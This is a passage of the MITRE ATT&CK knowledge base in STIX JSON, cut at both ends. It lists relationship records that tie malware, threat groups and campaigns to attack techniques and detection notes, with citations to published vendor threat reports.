Squirrelwaffle Oct 2021)","modified":"2022-08-26T22:10:51.104Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--696abb07-b706-469e-83c2-1e29984c9532","type":"relationship","created":"2021-03-23T20:56:56.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Recorded Future RedEcho Feb 2021","url":"https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf","description":"Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:56:56.455Z","description":"(Citation: Recorded Future RedEcho Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--696c0ce2-7829-4d95-baab-ae64db59c62a","created":"2022-08-11T22:39:33.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T20:01:04.431Z","description":"[DCSrv](https://attack.mitre.org/software/S1033) has encrypted drives using the core encryption mechanism from DiskCryptor.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--696fe03b-95f6-400e-8bea-d9b16a2fd1b2","type":"relationship","created":"2020-01-31T19:00:31.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T19:00:31.070Z","relationship_type":"revoked-by","source_ref":"attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302","target_ref":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6971d7f3-8161-4399-b587-acab5d8820f1","type":"relationship","created":"2020-05-21T14:55:00.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T18:57:34.625Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has exfiltrated data using USB storage devices.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6975d10a-91bf-4a22-8353-745de444c594","type":"relationship","created":"2020-06-18T16:12:54.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-06-18T16:12:54.239Z","description":"[RTM](https://attack.mitre.org/software/S0148) can search for specific strings within browser tabs using a Dynamic Data Exchange mechanism.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69772984-96a1-47f1-ac27-08f85ff492e2","created":"2024-03-22T19:59:02.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:44:48.296Z","description":"The [SocGholish](https://attack.mitre.org/software/S1124) payload is executed as JavaScript.(Citation: SocGholish-update)(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--697bd63e-b442-4dc9-8714-6c4b7515369f","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for API calls that may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69826fb0-b508-43a3-a454-9718a854ab38","type":"relationship","created":"2021-10-18T23:21:30.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-18T23:21:30.296Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can record the IP address of the target machine.(Citation: ESET Kobalos Jan 2021)","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--698640b5-aa2a-45cf-ad49-2f2b13c5e1ea","created":"2024-09-23T16:49:20.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Deep Instinct BPFDoor 2023","description":"Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.","url":"https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"},{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T21:39:06.656Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) uses BPF bytecode to attach a filter to a network socket to view ICMP, UDP, or TCP packets coming through ports 22 (ssh), 80 (http), and 443 (https). When [BPFDoor](https://attack.mitre.org/software/S1161) finds a packet containing its “magic” bytes, it parses out two fields and forks itself. The parent process continues to monitor filtered traffic while the child process executes the instructions from the parsed fields.(Citation: Sandfly BPFDoor 2022)(Citation: Deep Instinct BPFDoor 2023)","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6988baa7-1b48-4203-8020-7bb3fb38098d","type":"relationship","created":"2021-03-12T18:46:47.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-20T22:28:08.343Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has used WMI to discover network connections and configurations. [Sibot](https://attack.mitre.org/software/S0589) has also used the Win32_Process class to execute a malicious DLL.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6988bc63-8020-44c2-9e38-03370f97e96a","created":"2022-03-30T14:26:51.852Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro When Phishing Starts from the Inside 2017","url":"https://blog.trendmicro.com/phishing-starts-inside/","description":"Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)","modified":"2022-04-20T14:27:01.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--698b7d6f-1198-4b8a-bc9c-8d0baa162b2b","created":"2023-03-31T17:39:35.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T18:09:17.772Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used `move` to transfer files to a network share.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--698c4736-5a86-4d72-9855-4bdee856d6de","created":"2024-09-04T17:27:42.043Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:27:42.043Z","description":"[Covenant](https://attack.mitre.org/software/S1155) implants can gather basic information on infected systems.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--699171c1-0d17-48d7-a741-0e4a0ed4ef62","created":"2020-06-11T16:18:16.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Tick November 2019","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:56:46.356Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to XOR encrypt files to be sent to C2.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--699979b0-6a9a-4482-9656-82c8fb210676","created":"2021-08-03T14:06:06.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:34:55.656Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can Base64 encode payloads.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:39.512Z","description":"The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log keystrokes.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--699bbb0a-3b06-4def-ad89-994c8981fa28","type":"relationship","created":"2022-02-01T20:04:13.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T20:04:13.561Z","description":"[Ferocious](https://attack.mitre.org/software/S0679) has the ability to use Visual Basic scripts for execution.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--699be82f-c548-4e2b-a33c-f91ceed1bf9f","created":"2022-09-15T17:41:22.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T17:43:37.242Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), threat actors used [SombRAT](https://attack.mitre.org/software/S0615) in conjuction with [CostaBricks](https://attack.mitre.org/software/S0614) and [PowerSploit](https://attack.mitre.org/software/S0194).(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--699d04f6-bace-4bf8-af2a-c80c62fcdd23","created":"2023-01-04T18:35:19.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T16:43:29.430Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used its Cloudflare services C2 channels for data exfiltration.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--699ddfef-6e95-42cf-b212-dc661f790adc","created":"2017-05-31T21:33:27.067Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."},{"source_name":"Novetta Blockbuster Loaders","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."},{"source_name":"McAfee GhostSecret","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also gathers process times.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)(Citation: TrendMicro macOS Dacls May 2020)(Citation: Lazarus APT January 2022)","modified":"2022-07-28T18:47:11.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--699e964d-b8c8-46fd-bd2d-9787433ab077","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2019-07-26T23:00:57.652Z","description":"[SynAck](https://attack.mitre.org/software/S0242) parses the export tables of system DLLs to locate and call various Windows API functions.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69a330cc-a89d-400b-9976-c5d29a2c8f92","created":"2023-10-03T03:38:34.097Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T03:38:34.097Z","description":"Using another process or third-party tools, monitor for modifications or access to system processes associated with logging.","relationship_type":"detects","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--69a744c7-a971-4e21-b305-335801c539d1","created":"2021-09-15T16:58:25.518Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2017","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) attempts to perform an HTTP CONNECT via an internal proxy to establish a tunnel.(Citation: Dragos Crashoverride 2017)","modified":"2022-06-30T20:16:22.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69aa300b-3e31-438c-99bf-4822141046c5","type":"relationship","created":"2020-05-12T22:05:50.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-05-15T15:36:36.960Z","relationship_type":"uses","source_ref":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","target_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69ab51f8-fce5-436e-86a9-5d33d2332439","type":"relationship","created":"2020-05-08T20:02:19.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 